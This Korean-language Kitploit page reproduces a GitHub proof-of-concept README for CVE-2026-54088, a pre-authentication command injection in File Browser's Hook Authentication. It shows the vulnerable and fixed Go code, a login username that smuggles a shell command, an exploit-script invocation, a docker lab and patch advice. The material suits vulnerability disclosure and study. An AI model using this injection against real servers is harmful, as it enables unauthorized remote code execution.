Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/saku0512/cve-2026-54088-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationPayload Development
GitHubsaku0512/cve-2026-54088-poc

CVE-2026-54088-poc

CVE-2026-54088에 대한 개념 증명 익스플로잇, File Browser <= 2.63.5에서 Hook Authentication 쉘 대체를 통한 인증 전 OS 명령 주입 취약점

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-54088: 인증 후크의 셸 치환에 의한 명령 인젝션 (인증 전 RCE)

English version

개요

이 리포지토리는 File Browser 버전 <= 2.63.5에 존재하는 중대한 OS 명령 인젝션 취약점 CVE-2026-54088의 Proof of Concept(PoC)입니다.

이 취약점은 Hook Authentication 기능에 존재합니다. 관리자가 외부 명령으로 사용자 인증을 수행하도록 File Browser를 설정한 경우, 로그인 시 전송된 username과 password가 이스케이프되지 않은 채 os.Expand()에 의해 설정된 명령 문자열로 확장됩니다. 인증되지 않은 원격 공격자는 로그인 요청을 통해 셸 구문을 주입하고, 인증이 성공하기 전에 임의의 명령을 실행할 수 있습니다.

발견자: saku0512 (https://github.com/Saku0512)


면책 조항

이 프로젝트는 교육 목적 및 윤리적인 보안 테스트만을 위한 것입니다.

이 도구의 오용, 손해, 불법 행위에 대해 저자는 일체의 책임을 지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 명시적인 허가를 받은 환경에서만 이 소프트웨어를 사용하십시오.


취약점 상세

  • CVE ID: CVE-2026-54088
  • Advisory: GHSA-m93h-4hw7-5qcm
  • 유형: OS 명령 인젝션 (CWE-78)
  • 영향: 인증 전 원격 코드 실행 (RCE)
  • 영향을 받는 버전: File Browser <= 2.63.5
  • 수정된 버전: File Browser 2.63.6
  • 영향을 받는 파일: auth/hook.go
  • 영향을 받는 함수: HookAuth.RunCommand

근본 원인

HookAuth.RunCommand()는 설정된 인증 명령을 분할하고, 공격자가 제어할 수 있는 요청 데이터를 사용하여 인증 정보의 플레이스홀더를 확장합니다.

root@kitploit:~
envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username
    case "PASSWORD":
        return a.Cred.Password
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 {
        continue
    }
    command[i] = os.Expand(arg, envMapping)
}

hook 명령이 다음과 같이 설정된 경우:

root@kitploit:~
sh -c $USERNAME

공격자가 다음과 같은 username을 전송하면:

root@kitploit:~
touch /tmp/fb_hook_auth_pwned; echo hook.action=block

로그인 시도 중에 서버는 공격자가 제어하는 셸 스크립트를 실행합니다. 유효한 계정이나 비밀번호는 필요하지 않습니다.

수정 내용

이 문제는 commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f에서 hook 명령 문자열에서 인증 정보 치환 처리를 제거하여 수정되었습니다. hook 명령은 설정된 그대로 실행되며, 인증 정보는 환경 변수로만 전달됩니다.

root@kitploit:~
command := strings.Split(a.Command, " ")

cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))

제거된 취약한 처리는 exec.Command()가 호출되기 전에 공격자가 제어하는 인증 정보로 명령 인수를 덮어쓰는 os.Expand() 루프입니다. 이 수정에서는 주입된 인증 정보에 의해 hook 명령이 변조될 수 없고, USERNAME / PASSWORD가 환경 변수를 통해 계속 hook에서 사용 가능함을 확인하는 회귀 테스트도 추가되었습니다.


Proof of Concept (사용 방법)

1. 환경 설정

취약한 File Browser 환경을 시작합니다. filebrowser-init 서비스가 데이터베이스를 생성하고, 취약한 명령을 사용하여 Hook Authentication을 활성화합니다.

root@kitploit:~
docker compose up -d

대상은 다음 URL에서 사용할 수 있습니다.

root@kitploit:~
http://localhost:8080

2. Exploit 실행

이 디렉토리에서 exploit 스크립트를 실행합니다.

root@kitploit:~
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"

이 exploit은 /api/login에 인증되지 않은 로그인 요청을 1회 전송합니다. 인증은 실패할 것으로 예상되지만, 그 전에 주입된 명령이 실행됩니다.

3. GUI에서 확인

브라우저에서 File Browser의 로그인 화면을 엽니다.

root@kitploit:~
http://localhost:8080

로그인 폼에 다음 값을 입력하고 로그인 버튼을 클릭합니다.

root@kitploit:~
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything

로그인은 실패하지만, Hook Authentication의 명령 실행은 인증 결과가 반환되기 전에 수행됩니다. 다음 명령으로 GUI 조작에 의해 컨테이너 내에 마커 파일이 생성되었는지 확인합니다.

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned

파일이 존재하면 GUI의 로그인 조작에서도 인증 전 RCE가 발생했음을 확인할 수 있습니다.

4. CLI PoC 검증

File Browser 컨테이너 내에서 명령이 실행되었는지 확인합니다.

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned

파일이 존재하면 인증 전 RCE가 확인됩니다.

5. 정리

root@kitploit:~
docker compose down -v

대응 방법

File Browser를 버전 2.63.6 이상으로 업데이트하세요.

인증 정보는 셸 명령 문자열에 포함하지 말고 환경 변수로만 hook 명령에 전달해야 합니다. 다른 명령 실행 경로에 대해서도 셸 평가를 피하거나 엄격한 인수 분리와 이스케이프를 수행해야 합니다.


참고 정보

  • File Browser GitHub Repository
  • File Browser v2.63.5 vulnerable implementation
  • Fix commit: remove undocumented hook auth with shell replacement
도구 다운로드